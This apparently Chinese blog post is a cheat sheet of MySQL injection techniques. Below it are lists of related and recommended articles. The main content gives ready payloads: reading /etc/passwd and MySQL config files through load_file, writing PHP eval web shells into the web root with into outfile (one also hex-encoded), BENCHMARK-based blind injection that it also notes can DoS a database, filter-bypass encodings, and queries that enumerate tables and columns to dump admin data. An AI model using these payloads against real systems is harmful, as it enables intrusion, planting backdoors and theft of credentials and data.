mysql-常用注入渗透手法
mysql:
内置函数常用函数:left(), mid(), ord(), length(), benchmark(),load_file(), outfile(), concat(),
系统重要信息:system_user(), user(), current_user, session_user(), database(), version(),
ASCII码:select char(97,100,109,105,110 ) 回显:admin
16进制:select 0x61646D696E 回显:admin
注释方法: /* --
使用 /**/ 或者 + 代替空格
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统
load_file:linux,windows写全路径时候,c:/1.txt, /var/www/1.php 路径均为左斜杠 /
c:/windows/php.ini c:/winnt/php.ini c:/windows/my.ini //管理员登陆过MYSQL会留下密码和用户名 c:/winnt/my.ini c:/boot.ini
/etc/password / /usr/local/httpd/conf/httpd.conf //也许能找到网站默认目录 /usr/local/apache2/conf/httpd.conf //也许能找到网站默认目录哦!FreeBSD下:
load_file(char(47)) 列出了此FreeBSD系统的根目录
读不出来的原因:1.权限不够: and (select count(*) from mysql.user)>0-- 如果返回OK,则表示有权限。如果Denied则NO
2.回显长度限制,Substring(load_file(A),0,50),Substring(load_file(A),50,100)一步一步读 3.concat()拼接
outfile:写入条件:1. 未过滤' ' 2.权限 3.得到网站物理路径
已经上传了JPG小马, union select 1,load_file( /var/www/xiaoma.jpg),3,4,5,6 into outfile '/var/www/xiaoma.php'/*
直接写入小马,union select 1,'<?php eval($_POST[cmd])?>',3,4,5,6 into outfile '/var/www/xm.php'/*
||
等价于
||
0x3C3F706870206576616C28245F504F53545B636D645D293F3E
数据库导出马:
create database Supers;
use Supers;
create table SuperT(code text);
insert into SuperT(code) values ("<?php @eval($_POST['cmd']);?>");
select * from SuperT into outfile "D:\\xxx\\shell.php";
drop database Supers;
BENCHMARK:重复执行。不仅可以在display_errors=Off时候,无法判断SQL正确与否。让我们盲注的时候判断技巧。而且可以用来DDOS攻击数据库!
id= union select ,benchmark(,md5('test')), from user where userid= and ord(substring(username,,))= /*
UNION SELECT IF(SUBSTRING(user_password,1 ,1) = CHAR(52),BENCHMARK(5000000,md5('test')),null) FROM mb_users WHERE user_group = 1;
绕过防注入:
id=-255+union+/*!select*/+1,2,3,4 +号代替被顾虑的空格, !
and 1=2 un%ion sel%ect 1,2,3,4,sys%tem_us%er() %绕过被过滤的SQL语句
爆表:
select 0,0,concat(table_name),0 from (select * from (select * from information_schema.tables where table_schema=16进制database() order by table_schema limit 0,1) t order by table_schema desc)t limit 1-- 爆出第1个表
select 0,0,concat(table_name),0 from (select * from (select * from information_schema.tables where table_schema=16进制database() order by table_schema limit 1,1) t order by table_schema desc)t limit 1-- 爆出第2个表
......爆出所有有用的表后,假如得到admin表: 0x61646D696E
select 0,0,concat(cast(count(*) as char)),0 from information_schema.columns where table_name=0x61646D696E and table_schema=database() limit 1-- 爆出ADMIN表的列数
select 0,0,concat(column_name) from (select * from (select * from information_schema.columns where table_name=0x61646D696E and table_schema=database() order by 1 limit 0,1) t order by 1 desc)t limit 1-- 爆出ADMIN表第一个列。即索引为0的列...
root或者足够权限可以爆数据库用户帐户,密码:user password
mysql-常用注入渗透手法的更多相关文章
- Mysql基本注入
实验环境:墨者学院Mysql手工注入漏洞测试靶场 后台源码没有进行任何字符过滤. 首先进入靶场环境 先用admin登陆试试 果然不行,这时看到用户登录下方有一个停机维护通知,点进去瞅瞅 看到这里链接上 ...
- MySQL的注入总结
0x01 MySQL 5.0以上和MySQL 5.0以下版本的区别 MySQL5.0以上版本存在一个叫information_schema的数据库,它存储着数据库的所有信息,其中保存着关于MySQL服 ...
- MySQL手工注入学习-1
MySQL手工注入学习 SQLi-labs 手工注入学习 以下是通过SLQi-labs平台的部分简单例题的手工注入过程 Less-1:union联合查询注入 页面提示:Please input the ...
- Mysql 常用 SQL 语句集锦
Mysql 常用 SQL 语句集锦 基础篇 //查询时间,友好提示 $sql = "select date_format(create_time, '%Y-%m-%d') as day fr ...
- MySQL常用命令和常见问题
MySQL常用命令和常见问题 --创建数据库并设置字符集 create database wip default character set utf8 collate utf8_general_ci; ...
- mysql常用基本操作
mysql常用操作 查看都有哪些库 show databases; 查看某个库的表 use 库名; show tables; 查看表的字段 desc 表名; 当前是哪个用户 select user() ...
- MySQL 常用的sql语句小结(待续)
mysql 常用的sql语句 1.查看数据库各个表中的记录数 USE information_schema; SELECT table_name,table_rows FROM tables WHER ...
- mysql常用操作语句
mysql常用操作语句 1.mysql -u root -p 2.mysql -h localhost -u root -p database_name 2.列出数据库: 1.show datab ...
- Mysql 常用 SQL 语句集锦 转载(https://gold.xitu.io/post/584e7b298d6d81005456eb53)
Mysql 常用 SQL 语句集锦 基础篇 //查询时间,友好提示 $sql = "select date_format(create_time, '%Y-%m-%d') as day fr ...
随机推荐
- linux每天一小步---mv命令详解
1 命令功能 mv命令用来移动文件及目录或者重命名文件及目录,它是move的缩写,cp命令与mv命令在很多功能上都非常相似,但是又具有很大的区别,其中组大的区别在于cp命令的使用会保留源文件和目录,而 ...
- Robotframework-Appium 之常用API(一)
上一遍隨筆(https://www.cnblogs.com/cnkemi/p/9639809.html)用Python + Robotframework + Appium對Android app小試牛 ...
- C# FTPClientHelper共公类 实现文件上传,目录操作,下载等动作
文档说明 本文档使用Socket通信方式来实现ftp文件的上传下载等命令的执行 1.基本介绍 由于最近的项目是客户端的程序,需要将客户端的图片文件[切图]-[打包]-[ftp上传],现在就差最后一步了 ...
- github注册与使用
个人信息: 姓名:赵建 学号:1413042015 班级:网络工程141班 兴趣爱好:码代码,看电影,折腾linux github注册: 首先在地址栏输入https://www.github.com, ...
- [Postgres]postgresql.conf : Permission denied处理一法
使用yum安装完postgresql,没有使用默认的DATA地址,自己配置了DATA地址以后,使用root权限启动service service postgresql start ,报出了" ...
- eclipse中配置server中选择tomcat8无法进行下一步处理
在创建server的时候,选择tomcat8后,server name为空,并且无法手动输入,同时无法进行下一步操作. 解决方案如下: 1.退出eclipse. 2.找到eclipse[工作空间][当 ...
- Java Web系列:Hibernate 基础
从以下5个方面学习hibernate ORM. (1)配置文件:hibernate.cfg.xml XML文件和hibernate.properties属性文件 (2)实体映射:1对多.多对多 (3) ...
- 常用脚本--生成指定表的INSERT 语句
--================================================= --摘抄自http://www.cnblogs.com/sunth/archive/2013/0 ...
- .Net 图片缩略图上传通用方法
日常开发中,经常碰到图片上传的需求,尤其在商城系统开发的时候,商品列表商品图片展示如果使用高清原图,由于高清原图比较大,加载原图时间会大大增加,直接导致系统性能底下,用户体验不好,并发量高的时候直接就 ...
- 一起学习《C#高级编程》2--比较对象的相等性
今后争取每两天能更新一次.平日的诱惑太多,双休只顾玩了,进度有点慢. 接上一讲的,类型的安全性,留下了点小尾巴——比较对象的相等性. C#有四种比较相等的方式:除了“==”运算符外,System.Ob ...